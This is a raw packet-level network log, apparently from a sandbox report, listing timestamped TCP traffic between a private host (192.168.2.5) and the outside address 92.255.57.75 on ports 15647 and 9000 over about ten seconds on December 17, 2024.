Dec 17, 2024 08:38:59.913243055 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:59.913700104 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:00.061177969 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:00.061192036 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:00.061264992 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:00.061292887 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:00.181993008 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:00.182056904 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:00.205725908 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:00.258944988 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:00.349436045 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:00.349490881 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:00.374160051 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:00.415198088 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:00.464844942 CET	9000	49821	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:00.464884996 CET	9000	49821	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:00.464951038 CET	49821	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:00.465123892 CET	49821	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:00.469227076 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:00.469288111 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:00.566128969 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:00.566245079 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:00.574116945 CET	49825	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:00.584729910 CET	9000	49821	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:00.588962078 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:00.661500931 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:00.661587954 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:00.686012030 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:00.693860054 CET	9000	49825	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:00.693964005 CET	49825	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:00.694125891 CET	49825	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:00.781341076 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:00.781404018 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:00.813772917 CET	9000	49825	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:00.878163099 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:00.879489899 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:00.901112080 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:00.983971119 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:00.984040022 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:00.999300957 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:01.093184948 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:01.093278885 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:01.104069948 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:01.191485882 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:01.191731930 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:01.213306904 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:01.296113968 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:01.296207905 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:01.311554909 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:01.405544043 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:01.405715942 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:01.416058064 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:01.525470018 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:01.525566101 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:01.608251095 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:01.645318985 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:01.649584055 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:01.679574013 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:01.717564106 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:01.759844065 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:01.799403906 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:01.799676895 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:01.837521076 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:01.883956909 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:01.919456959 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:01.919558048 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:01.949709892 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:01.993289948 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:02.019468069 CET	9000	49825	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:02.019539118 CET	9000	49825	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:02.019628048 CET	49825	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:02.019706011 CET	49825	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:02.029469013 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:02.029557943 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:02.081562996 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:02.134474993 CET	49830	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:02.139456987 CET	9000	49825	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:02.141439915 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:02.141511917 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:02.149328947 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:02.254301071 CET	9000	49830	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:02.254502058 CET	49830	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:02.254502058 CET	49830	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:02.261301041 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:02.261384010 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:02.341521978 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:02.341613054 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:02.374316931 CET	9000	49830	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:02.381104946 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:02.453720093 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:02.453958035 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:02.461466074 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:02.573204041 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:02.573297024 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:02.573647022 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:02.653570890 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:02.693125010 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:02.693178892 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:02.765677929 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:02.805802107 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:02.812922001 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:02.813047886 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:02.885176897 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:02.930816889 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:02.932771921 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:02.932902098 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:03.001368046 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:03.052592039 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:03.052742004 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:03.124851942 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:03.165401936 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:03.172475100 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:03.173168898 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:03.244672060 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:03.290743113 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:03.292855978 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:03.293061972 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:03.364649057 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:03.364732981 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:03.412847042 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:03.484720945 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:03.484797955 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:03.484860897 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:03.485029936 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:03.577754021 CET	9000	49830	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:03.577827930 CET	9000	49830	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:03.577912092 CET	49830	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:03.577987909 CET	49830	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:03.604861975 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:03.604954004 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:03.683079004 CET	49834	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:03.698034048 CET	9000	49830	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:03.765687943 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:03.765856981 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:03.796912909 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:03.797055006 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:03.802918911 CET	9000	49834	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:03.803026915 CET	49834	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:03.803143978 CET	49834	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:03.885698080 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:03.916915894 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:03.917056084 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:03.923085928 CET	9000	49834	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:03.965534925 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:03.988821983 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:04.036993980 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:04.038120031 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:04.077830076 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:04.118323088 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:04.157987118 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:04.209194899 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:04.225665092 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:04.274554968 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:04.329087019 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:04.350197077 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:04.399579048 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:04.508377075 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:04.521214008 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:04.571438074 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:04.673527956 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:04.673585892 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:04.713191986 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:04.758958101 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:04.793314934 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:04.793386936 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:04.905073881 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:04.905194044 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:04.913129091 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:05.025388956 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:05.025444984 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:05.098656893 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:05.128549099 CET	9000	49834	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:05.128716946 CET	9000	49834	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:05.128779888 CET	49834	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:05.128855944 CET	49834	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:05.145935059 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:05.146002054 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:05.217096090 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:05.244106054 CET	49840	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:05.248677015 CET	9000	49834	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:05.259089947 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:05.265875101 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:05.266009092 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:05.364995003 CET	9000	49840	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:05.365073919 CET	49840	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:05.365233898 CET	49840	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:05.387145996 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:05.387211084 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:05.409524918 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:05.462069035 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:05.486737013 CET	9000	49840	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:05.549885988 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:05.549978971 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:05.579183102 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:05.579279900 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:05.601347923 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:05.649580956 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:05.669939995 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:05.699342966 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:05.699425936 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:05.749686003 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:05.819504023 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:05.819586992 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:05.861964941 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:05.915170908 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:05.939750910 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:05.939802885 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:06.011385918 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:06.055818081 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:06.059653044 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:06.059782982 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:06.179554939 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:06.179625988 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:06.203373909 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:06.243304014 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:06.341526031 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:06.341595888 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:06.371597052 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:06.415196896 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:06.461462975 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:06.461570024 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:06.492799044 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:06.540174961 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:06.563683033 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:06.563882113 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:06.621447086 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:06.683701038 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:06.683758020 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:06.684345007 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:06.693592072 CET	9000	49840	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:06.693784952 CET	49840	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:06.693876028 CET	9000	49840	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:06.693923950 CET	49840	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:06.727705002 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:06.810161114 CET	49843	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:06.993294954 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:06.993339062 CET	49840	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:07.305811882 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:07.309248924 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:07.309257984 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:07.309262991 CET	9000	49840	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:07.309333086 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:07.309340000 CET	49840	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:07.309664011 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:07.309696913 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:07.309703112 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:07.309784889 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:07.309870005 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:07.309968948 CET	9000	49840	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:07.309981108 CET	9000	49843	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:07.309998989 CET	9000	49840	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:07.310017109 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:07.310049057 CET	49843	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:07.310233116 CET	49843	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:07.429841995 CET	9000	49843	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:07.473553896 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:07.473639965 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:07.593575954 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:07.593699932 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:07.623408079 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:07.665270090 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:07.761425018 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:07.761828899 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:07.785723925 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:07.837084055 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:07.881491899 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:07.881616116 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:07.985986948 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:07.986176968 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:08.001435995 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:08.073790073 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:08.074404955 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:08.106218100 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:08.194428921 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:08.194695950 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:08.298371077 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:08.298567057 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:08.314407110 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:08.386853933 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:08.387197971 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:08.419517040 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:08.506719112 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:08.506807089 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:08.506849051 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:08.611644983 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:08.611732006 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:08.626713037 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:08.636554003 CET	9000	49843	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:08.636632919 CET	9000	49843	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:08.636749983 CET	49843	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:08.636785030 CET	49843	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:08.698981047 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:08.699120045 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:08.731587887 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:08.744687080 CET	49849	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:08.756527901 CET	9000	49843	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:08.819205999 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:08.819847107 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:08.864605904 CET	9000	49849	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:08.864700079 CET	49849	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:08.864954948 CET	49849	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:08.981612921 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:08.981678009 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:08.984566927 CET	9000	49849	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:09.020864010 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:09.020950079 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:09.101995945 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:09.131901979 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:09.131989002 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:09.181512117 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:09.251812935 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:09.254852057 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:09.257400990 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:09.293555021 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:09.295842886 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:09.415599108 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:09.415676117 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:09.445161104 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:09.445246935 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:09.565047026 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:09.565141916 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:09.566745996 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:09.618311882 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:09.677532911 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:09.677639961 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:09.733484983 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:09.797394991 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:09.797564030 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:09.869383097 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:09.915200949 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:09.917306900 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:39:09.917398930 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:39:09.989459038 CET	15647	49781	92.255.57.75	192.168.2.5
